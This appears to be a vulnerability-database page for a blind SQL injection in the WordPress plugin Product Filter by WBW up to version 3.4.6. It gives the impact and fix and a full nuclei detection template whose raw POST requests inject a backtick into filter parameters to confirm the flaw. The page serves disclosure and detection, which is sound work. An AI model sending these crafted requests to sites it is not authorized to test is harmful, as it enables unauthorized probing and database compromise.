Product Filter by WBW <= 3.4.6 - SQL Injection

criticalseverity

9.3CVSS score

1.2%likelihood of exploitation, next 30 days

68%of all CVEs are less likely

Readycheck to confirm it

WPFactory Product Filter by WBW woo-product-filter <= 3.4.6 contains an SQL injection caused by improper neutralization of special elements in SQL commands, letting attackers perform blind SQL injection remotely, exploit requires crafted input.

Impact

Attackers can perform blind SQL injection to extract or manipulate database information, potentially compromising data integrity and confidentiality.

Fix

Update to the latest version beyond 3.4.6.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains(body, "\"filter_state\":{\"exists\":{\"pa_color\"")
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains(body, "\"filter_state\":{\"exists\":[]")

Run it with nuclei: nuclei -id CVE-2026-112866 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-112866

info:
  name: Product Filter by WBW <= 3.4.6 - SQL Injection
  author: HaroonArshad-53
  severity: critical
  description: |
    WPFactory Product Filter by WBW woo-product-filter <= 3.4.6 contains an SQL injection caused by improper neutralization of special elements in SQL commands, letting attackers perform blind SQL injection remotely, exploit requires crafted input.
  impact: |
    Attackers can perform blind SQL injection to extract or manipulate database information, potentially compromising data integrity and confidentiality.
  remediation: |
    Update to the latest version beyond 3.4.6.
  reference:
    - https://patchstack.com/database/wordpress/plugin/woo-product-filter/vulnerability/wordpress-product-filter-by-wbw-plugin-3-4-6-sql-injection-vulnerability
    - https://www.cve.org/CVERecord?id=CVE-2026-112866
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2026-112866
    epss-score: 0.01164
    epss-percentile: 0.67526
    cwe-id: CWE-89
  metadata:
    max-request: 2
    vendor: woobewoo
    product: woo-product-filter
  tags: cve,cve2026,wordpress,wp-plugin,woo-product-filter,sqli

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=woobewoo_pf_filters_frontend&reqType=ajax&pl=wpf&mod=woofilters&filtersDataBackend=%5B%7B%22uniqId%22%3A%22u1%22%2C%22id%22%3A%22wpfAttribute%22%2C%22name%22%3A%22wpf_filter_color%22%2C%22settings%22%3A%5B%5D%7D%5D&queryvars%5Bpost_type%5D=product&queryvars%5Bposts_per_page%5D=12&queryvars%5Bposts_per_row%5D=4&queryvars%5Bpaginate_type%5D=query&queryvars%5Bpaginate_base%5D=&filterSettings=%7B%22filter_recount%22%3A1%2C%22check_get_names%22%3A1%7D&generalSettings=%5B%7B%22uniqId%22%3A%22u1%22%2C%22id%22%3A%22wpfAttribute%22%2C%22settings%22%3A%7B%22f_enable%22%3A1%2C%22f_list%22%3A%22pa_color%22%2C%22f_show_count%22%3A1%2C%22f_frontend_type%22%3A%22list%22%7D%7D%5D&woocommerceSettings=%7B%7D&currenturl=http://127.0.0.1:21800%2F%3Fwpf_filter_color%3D1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"filter_state\":{\"exists\":{\"pa_color\"")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=woobewoo_pf_filters_frontend&reqType=ajax&pl=wpf&mod=woofilters&filtersDataBackend=%5B%7B%22uniqId%22%3A%22u1%22%2C%22id%22%3A%22wpfAttribute%22%2C%22name%22%3A%22wpf_filter_color%60%22%2C%22settings%22%3A%5B%5D%7D%5D&queryvars%5Bpost_type%5D=product&queryvars%5Bposts_per_page%5D=12&queryvars%5Bposts_per_row%5D=4&queryvars%5Bpaginate_type%5D=query&queryvars%5Bpaginate_base%5D=&filterSettings=%7B%22filter_recount%22%3A1%2C%22check_get_names%22%3A1%7D&generalSettings=%5B%7B%22uniqId%22%3A%22u1%22%2C%22id%22%3A%22wpfAttribute%22%2C%22settings%22%3A%7B%22f_enable%22%3A1%2C%22f_list%22%3A%22color%60%22%2C%22f_show_count%22%3A1%2C%22f_frontend_type%22%3A%22list%22%7D%7D%5D&woocommerceSettings=%7B%7D&currenturl=http://127.0.0.1:21800%2F%3Fwpf_filter_color%2560%3D1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"filter_state\":{\"exists\":[]")'
        condition: and

References

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